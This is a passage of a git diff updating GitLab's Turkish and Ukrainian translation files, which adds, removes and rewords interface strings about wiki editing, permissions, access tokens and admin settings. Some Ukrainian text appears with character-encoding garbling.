-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "Bu gruplara katılmayı talep ederek onlara kolayca katkıda bulunabilirsiniz."
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr "Geçerli bir mevcut şifre girmelisiniz"
msgid "You must provide your current password in order to change it."
msgstr "Değiştirmek için mevcut şifrenizi girmelisiniz."
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr "İşlem e-postanız, düzenlemeler ve birleştirmeler gibi web tabanlı işlemler için kullanılacaktır."
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr "%{openingTag}Gruba özgü bir e-posta adresi%{closingTag} ayarlanmamışsa, varsayılan bildirim e-postanız hesap bildirimleri için kullanılacaktır."
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr "Birincil e-postanız profil resmi tespiti için kullanılacaktır."
-
msgid "Your Projects (default)"
msgstr "Projeleriniz (öntanımlı)"
msgid "Your Projects' Activity"
msgstr "Projelerinizin EtkinliÄŸi"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr "Herkese açık e-postanız, herkese açık profilinizde gösterilecektir."
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr "Yapılacaklar Listeniz"
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr "Profiliniz"
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr "Projeleriniz"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr "birleÅŸtirilemez"
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr "özel anahtar okunamadı, şifre doğru mu?"
msgid "created"
msgstr "oluÅŸturdu:"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr "etkin"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr "giriÅŸler 255 karakterden uzun olamaz"
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "grup"
@@ -39060,6 +38895,9 @@ msgstr "BirleÅŸtir"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Birleştirme başarısız."
@@ -39096,9 +38934,6 @@ msgstr "Daha fazla bilgi"
msgid "mrWidget|Open in Web IDE"
msgstr "Web IDE'de aç"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr "Düz değişiklik"
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr "Kaynak dal silindi"
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr "etiket adı"
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr "damlayı görüntüle"
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/uk/gitlab.po b/locale/uk/gitlab.po
index b2c4fcd54cf..52cb1298129 100644
--- a/locale/uk/gitlab.po
+++ b/locale/uk/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: uk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:33\n"
+"PO-Revision-Date: 2021-07-01 21:17\n"
msgid " %{name}, confirm your email address now! "
msgstr " %{name}, підтвердьте Ñвою адреÑу електронної пошти зараз! "
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr " %{project_name}#%{issuable_iid} &middot; Ñтворили %{issuable_created} %{author} &middot; оновлених %{issuable_updated}"
-
msgid " %{start} to %{end}"
msgstr " %{start} до %{end}"
@@ -76,10 +73,10 @@ msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr " Чи %{emphasisStart}!код злиттÑ%{emphasisEnd}"
msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
-msgstr ""
+msgstr " або %{emphasisStart}# ідентифікатор задачі%{emphasisEnd}"
msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
-msgstr ""
+msgstr " або %{emphasisStart}&ідентифікатор епіку%{emphasisEnd}"
msgid " or references (e.g. path/to/project!merge_request_id)"
msgstr " або поÑÐ¸Ð»Ð°Ð½Ð½Ñ (напр. шлÑÑ…/до/проєкту!id_запиту_на_злиттÑ)"
@@ -93,6 +90,9 @@ msgstr "Розмір \"%{repository_name}\" (%{repository_size}) перевищÑ
msgid "\"el\" parameter is required for createInstance()"
msgstr "Параметр \"el\" необхідний Ð´Ð»Ñ createInstance()"
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] "%d ЗатвердженнÑ"
@@ -341,13 +341,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d шар"
@@ -547,6 +540,30 @@ msgstr "Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ %{authorsName}"
msgid "%{board_target} not found"
msgstr "%{board_target} не знайдено"
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -594,6 +611,13 @@ msgstr "%{count} Ñхвалень від %{name}"
msgid "%{count} files touched"
msgstr "%{count} файлів змінено"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} items per page"
msgstr "%{count} елементів на Ñторінці"
@@ -788,14 +812,14 @@ msgstr "%{level_name} не дозволено в %{group_level_name} групі.
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} не допуÑкаєтьÑÑ, оÑкільки проєкт-джерело цього форку має нижчу видиміÑÑ‚ÑŒ."
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{link_end} про те, Ñка Ñ–Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ñ–Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ”Ñ‚ÑŒÑÑ GitLab Inc."
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Читати більше%{link_end} про дозволи ролей"
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr ""
+msgstr "%{link_start}Видаліть %{draft_snippet} префікÑ%{link_end} з назви , щоб зробити можливим Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту, коли він буде готовий."
msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
@@ -963,6 +987,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr "%{size} %{unit}"
@@ -996,9 +1023,6 @@ msgstr "%{start} до %{end}"
msgid "%{state} epics"
msgstr "%{state} епіки"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr "%{strongStart}ВидалÑÑ”%{strongEnd} гілку-джерело"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1115,12 +1139,6 @@ msgstr "%{total} загальна вага відкритих задач"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr "%{type} ЛіцензіÑ"
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}ДовідатиÑÑŒ більше%{usage_ping_link_end} про те, Ñкою інформацією Ви ділитеÑÑŒ із GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (не може виконувати злиттÑ)"
@@ -1151,6 +1169,9 @@ msgstr "%{user} Ñтворив епік: %{epic_link}"
msgid "%{user} created an issue: %{issue_link}"
msgstr "%{user} Ñтворив задачу: %{issue_link}"
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr "%{value} Ñ"
@@ -1685,14 +1706,11 @@ msgid "A ready-to-go template for use with Android apps"
msgstr ""
msgid "A ready-to-go template for use with iOS Swift apps"
-msgstr ""
+msgstr "Готовий шаблон Ð´Ð»Ñ Ð²Ð¸ÐºÐ¾Ñ€Ð¸ÑÑ‚Ð°Ð½Ð½Ñ Ð· iOS Swift заÑтоÑунками"
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "Секретний токен Ñкий ідентфікує запити до зовнішнього Ñховища."
@@ -1753,18 +1771,9 @@ msgstr "Виберіть профіль"
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1969,14 +1978,14 @@ msgstr "Токен Ð´Ð»Ñ Ð²Ñ…Ñ–Ð´Ð½Ð¸Ñ… повідомлень електрон
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "Ðе може бути викориÑтоно Ð´Ð»Ñ Ð´Ð¾Ñтупу до будь-Ñких інших даних."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "Зберігайте цей токен в Ñекреті. Будь-хто, хто отримає до нього доÑтуп зможе отримувати доÑтуп до Ñтатичних об’єктів репозиторію від вашого імені. Ви повинні %{reset_link_start}перегенерувати його%{reset_link_end} Ñкщо це ÑтанетьÑÑ."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Зберігайте цей токен в Ñекреті. Будь-хто, хто отримає до нього доÑтуп зможе Ñтворювати задачі від вашого імені. Ви повинні %{link_reset_it} Ñкщо це ÑтанетьÑÑ."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Зберігайте цей токен в Ñекреті. Будь-хто, хто отримає до нього доÑтуп зможе читати RSS-канал активноÑÑ‚Ñ– та задач, а також канал вашого ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð²Ñ–Ð´ вашого імені. Ви повинні %{link_reset_it} Ñкщо це трапитьÑÑ."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "ОÑобиÑÑ‚Ñ– токени доÑтупу"
@@ -1993,17 +2002,17 @@ msgstr "Ви також можете викориÑтовувати перÑон
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "Ви можете згенерувати перÑональний токен доÑтупу Ð´Ð»Ñ ÐºÐ¾Ð¶Ð½Ð¾Ð³Ð¾ заÑтоÑунку, Ñкий ви викориÑтовуєти Ñ– Ñкий потребує доÑтупу до GitLab API."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "Ваш токен доÑтупу до каналів викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ—, коли ваш переглÑдач RSS завантажує перÑоналізований канал RSS або коли ваша програма-календар завантажує перÑоналізований календар. Цей токен додаєтьÑÑ Ð´Ð¾ URL-Ð°Ð´Ñ€ÐµÑ ÐºÐ°Ð½Ð°Ð»Ñ–Ð²."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "Ваш токен Ð´Ð»Ñ Ð²Ñ…Ñ–Ð´Ð½Ð¸Ñ… повідомлень електронної пошти викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ—, коли ви Ñтворюєте нові задачі через електронну пошту Ñ– він Ñ” включений в ваші перÑональні адреÑи електронної пошти, Ñпеціфічні Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "Ваш токен Ñтатичних об’єктів викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚ÐµÐ½Ñ‚Ð¸Ñ„Ñ–ÐºÐ°Ñ†Ñ–Ñ— коли Ñтатичні об’єкти репозиторію (напр. архіви, бінарні дані Ñ– Ñ‚. д.) зберігаютьÑÑ Ñƒ зовнішньому Ñховищі."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "перегенерувати його"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
@@ -2122,6 +2131,9 @@ msgstr "Додати коментар до цього Ñ€Ñдка"
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Додайте загальний коментар до цього %{noteableDisplayName}."
@@ -2131,6 +2143,9 @@ msgstr "Додайте загальний коментар до цього %{not
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Додати домашню Ñторінку в вікі, Ñка міÑтить інформацію про ваш проєкт, Ñ– GitLab відображатиме його тут заміÑÑ‚ÑŒ цього повідомленнÑ."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr "Додати Ñ€Ñдок"
@@ -2194,6 +2209,9 @@ msgstr "Додати коментар до дизайну"
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "Жодного кориÑтувача не вказано."
@@ -2393,7 +2414,7 @@ msgid "Adjust your filters/search criteria above. If you believe this may be an
msgstr ""
msgid "Admin"
-msgstr ""
+msgstr "ÐдмініÑтратор"
msgid "Admin Area"
msgstr "ОблаÑÑ‚ÑŒ адмініÑтратора"
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "Увімкнути загальні runner'и Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… проєктів"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Змінні Ñередовища Ñ” захищеними за замовчуваннÑм"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,20 +2587,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "ВідÑутній обов’Ñзковий конвеєр"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Ðеобхідна ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñƒ"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Виберіть конфігураційний файл конвеєра"
-
-msgid "AdminSettings|Select a template"
-msgstr "Виберіть шаблон"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "Шаблон Ñлужби дозволÑÑ” вÑтановити Ð´Ð»Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ð¹ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð·Ð° замовчуваннÑм"
@@ -2593,8 +2614,8 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "Задати автоматичну %{link_start}конфігурацію контейнера%{link_end} Ð´Ð»Ñ Ñ–Ð½ÑтанÑу. Ð¦Ñ ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ¹Ð½ÐµÑ€Ñƒ буде запуÑкатиÑÑ Ð¿Ñ–ÑÐ»Ñ Ð²Ð»Ð°Ñної конфігурації проєкту."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Вкажіть домен, Ñкий буде викориÑтовуватиÑÑ Ð² проєкті за замовчуваннÑм Ð´Ð»Ñ Ñтадій Auto Review Apps Ñ– Auto Deploy."
@@ -2602,11 +2623,8 @@ msgstr "Вкажіть домен, Ñкий буде викориÑтовуваÑ
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "Ðеобхідна ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ¹Ð½ÐµÑ€Ñ–Ð² може бути вибрана із директорії %{code_start}gitlab-ci%{code_end} в Ñконфігурованому %{link_start}репозиторії шаблонів інÑтанÑу%{link_end} або із конфігурацій, що надані GitLab."
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "При Ñтворенні нової змінної Ñередовища вона буде захищена за замовчуваннÑм."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2927,7 +2945,7 @@ msgid "AdminUsers|User is validated and can use free CI minutes on shared runner
msgstr ""
msgid "AdminUsers|User will be blocked"
-msgstr ""
+msgstr "КориÑтувач буде заблокований"
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "КориÑтувач не зможе отримувати доÑтуп до репозиторіїв Git"
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr "Примітка"
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3440,6 +3473,9 @@ msgstr "Ð’ÑÑ– Ñередовища"
msgid "All epics"
msgstr "Ð’ÑÑ– епіки"
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Ð’ÑÑ– групи та проєкти"
@@ -3599,9 +3635,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
